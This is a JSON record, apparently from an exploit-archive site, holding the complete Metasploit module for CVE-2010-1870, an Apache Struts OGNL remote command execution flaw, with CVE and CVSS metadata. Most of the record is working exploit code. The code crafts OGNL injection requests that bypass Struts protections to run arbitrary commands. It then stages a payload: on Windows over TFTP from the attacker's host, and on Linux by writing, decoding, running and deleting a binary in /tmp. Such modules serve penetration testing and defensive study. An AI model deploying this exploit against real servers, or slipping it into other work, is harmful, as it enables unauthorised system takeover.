{"exploit":{"id":"MSF-multi--http--struts_code_exec","name":"Apache Struts Remote Command Execution","description":"This module exploits a remote command execution vulnerability in Apache Struts versions < 2.2.0. This issue is caused by a failure to properly handle unicode characters in OGNL extensive expressions passed to the web server. By sending a specially crafted request to the Struts application it is possible to bypass the \"#\" restriction on ParameterInterceptors by using OGNL context variables. Bypassing this restriction allows for the execution of arbitrary Java code.","cves":["CVE-2010-1870"],"author":"bannedit, Meder Kydyraliev","published":"2010-07-13","platform":"Linux,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/struts_code_exec.rb","path":"modules/exploits/multi/http/struts_code_exec.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"struts_code_exec.rb","vulnerabilities":[{"id":"CVE-2010-1870","state":"PUBLISHED","title":null,"titleSource":null,"description":"The OGNL extensive expression evaluation capability in XWork in Struts 2.0.0 through 2.1.8.1, as used in Atlassian Fisheye, Crucible, and possibly other products, uses a permissive whitelist, which allows remote attackers to modify server-side context objects and bypass the \"#\" protection mechanism in ParameterInterceptors via the (1) #context, (2) #_memberAccess, (3) #root, (4) #this, (5) #_typeResolver, (6) #_classResolver, (7) #_traceEvaluations, (8) #_lastEvaluation, (9) #_keepLastEvaluation, and possibly other OGNL context variables, a different vulnerability than CVE-2008-6504.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-1870","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2010-1870"},"updatedAt":"2024-08-07T01:35:53.709Z","retrievedAt":"2026-11-26T11:59:15.877Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--struts_code_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--struts_code_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--struts_code_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--struts_code_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = GoodRanking\n\n  include Msf::Exploit::CmdStager\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::EXE\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Apache Struts Remote Command Execution',\n        'Description' => %q{\n          This module exploits a remote command execution vulnerability in\n          Apache Struts versions < 2.2.0. This issue is caused by a failure to properly\n          handle unicode characters in OGNL extensive expressions passed to the web server.\n\n          By sending a specially crafted request to the Struts application it is possible to\n          bypass the \"#\" restriction on ParameterInterceptors by using OGNL context variables.\n          Bypassing this restriction allows for the execution of arbitrary Java code.\n        },\n        'Author' => [\n          'bannedit', # metasploit module\n          'Meder Kydyraliev', # original public exploit\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2010-1870'],\n          [ 'OSVDB', '66280'],\n          [ 'EDB', '14360' ],\n        ],\n        'Privileged' => true,\n        'Targets' => [\n          [\n            'Windows Universal',\n            {\n              'Arch' => ARCH_X86,\n              'Platform' => 'win',\n              'CmdStagerFlavor' => 'tftp'\n            }\n          ],\n          [\n            'Linux Universal',\n            {\n              'Arch' => ARCH_X86,\n              'Platform' => 'linux'\n            }\n          ],\n        ],\n        'DisclosureDate' => '2010-07-13',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(8080),\n        OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', '']),\n        OptString.new('CMD', [ false, 'Execute this command instead of using command stager', '' ])\n      ]\n    )\n\n    self.needs_cleanup = true\n  end\n\n  def execute_command(cmd, _opts = {})\n    uri = normalize_uri(datastore['URI'])\n    uri = Rex::Text.uri_encode(uri)\n    var_a = rand_text_alpha_lower(4)\n    var_b = rand_text_alpha_lower(2)\n    var_c = rand_text_alpha_lower(4)\n    var_d = rand_text_alpha_lower(4)\n    rand_text_alpha_lower(4)\n\n    uri << \"?(%27\\\\u0023_memberAccess[\\\\%27allowStaticMethodAccess\\\\%27]%27)(#{var_a})=true&\"\n    uri << \"(aaaa)((%27\\\\u0023context[\\\\%27xwork.MethodAccessor.denyMethodExecution\\\\%27]\\\\u003d\\\\u0023#{var_c}%27)(\\\\u0023#{var_c}\\\\u003dnew%20java.lang.Boolean(\\\"false\\\")))&\"\n    uri << \"(#{var_b})((%27\\\\u0023#{var_d}.exec(\\\"CMD\\\")%27)(\\\\u0023#{var_d}\\\\u003d@java.lang.Runtime@getRuntime()))=1\" if target['Platform'] == 'win'\n    uri << \"(asdf)(('\\\\u0023rt.exec(\\\"CMD\\\".split(\\\"@\\\"))')(\\\\u0023rt\\\\u003d@java.lang.Runtime@getRuntime()))=1\" if target['Platform'] == 'linux'\n    uri.gsub!(/CMD/, Rex::Text.uri_encode(cmd))\n\n    vprint_status(\"Attempting to execute: #{cmd}\")\n\n    send_request_raw({\n      'uri' => uri,\n      'version' => '1.1',\n      'method' => 'GET'\n    }, 5)\n  end\n\n  def windows_stager\n    print_status(\"Sending request to #{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}\")\n    execute_cmdstager({ temp: '.', tftphost: srvhost_addr })\n    @payload_exe = generate_payload_exe\n\n    print_status('Attempting to execute the payload...')\n    execute_command(@payload_exe)\n  end\n\n  def linux_stager\n    cmds = '/bin/sh@-c@echo LINE | tee FILE'\n    exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)\n    base64 = Rex::Text.encode_base64(exe)\n    base64.gsub!(/=/, '\\\\u003d')\n    file = rand_text_alphanumeric(rand(4..7))\n\n    execute_command(\"/bin/sh@-c@touch /tmp/#{file}.b64\")\n    cmds.gsub!(/FILE/, '/tmp/' + file + '.b64')\n    base64.each_line do |line|\n      line.chomp!\n      cmd = cmds\n      cmd.gsub!(/LINE/, line)\n      execute_command(cmds)\n    end\n\n    execute_command(\"/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}\")\n    execute_command(\"/bin/sh@-c@chmod +x /tmp/#{file}\")\n    execute_command(\"/bin/sh@-c@rm /tmp/#{file}.b64\")\n\n    execute_command(\"/bin/sh@-c@/tmp/#{file}\")\n    @payload_exe = '/tmp/' + file\n  end\n\n  def on_new_session(_client)\n    if target['Platform'] == 'linux'\n      print_warning(\"Deleting #{@payload_exe} payload file\")\n      execute_command(\"/bin/sh@-c@rm #{@payload_exe}\")\n    else\n      print_status('Windows does not allow running executables to be deleted')\n      print_status(\"Delete the #{@payload_exe} file manually after migrating\")\n    end\n  end\n\n  def exploit\n    unless datastore['CMD'].blank?\n      print_status('Executing user supplied command')\n      execute_command(datastore['CMD'])\n      return\n    end\n\n    case target['Platform']\n    when 'linux'\n      linux_stager\n    when 'win'\n      windows_stager\n    else\n      fail_with(Failure::NoTarget, 'Unsupported target platform!')\n    end\n\n    handler\n  end\nend\n","sha256":"6a489feb2a8c5696c3bb2129f6c505baab8d32b9b27ceb4aad194246ac5f3a3e","bytes":5235,"fetchedAt":"2026-11-26T11:59:15.621Z","encoding":"utf-8 (display only; download retains original bytes)"}